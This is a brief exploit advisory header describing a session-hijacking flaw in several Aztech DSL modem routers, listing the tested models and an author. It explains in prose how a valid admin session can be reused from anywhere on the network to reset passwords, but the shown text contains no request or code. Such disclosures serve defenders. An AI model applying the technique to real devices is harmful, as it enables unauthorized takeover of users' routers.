  Multiple Aztech Modem Routers are prone to a session-hijacking vulnerability.
  
  An attacker can exploit this issue to gain unauthorized access to the affected device.

  # Title: Aztech Modem Broken Session Management Exploit
  # Author: Eric Fajardo - fjpfajardo@ph.ibm.com 
  #
  # A successful authentication of a privilege (admin) ID in the
  # web portal allows any attacker in the network to hijack and
  # reuse the existing session in order to trick and allow the web
  # server to execute administrative commands. The command may be
  # freely executed from any terminal in the network as long as
  # the session of the privilege ID is valid. The below PoC shows 
  # an un-authenticated request to the web server for an administrator 
  # and user password reset.
  #
  # This exploit was tested working with the following modems:
  # - DSL5018EN(1T1R) from Globe Telecom
  # - DSL705E
  # - DSL705EU
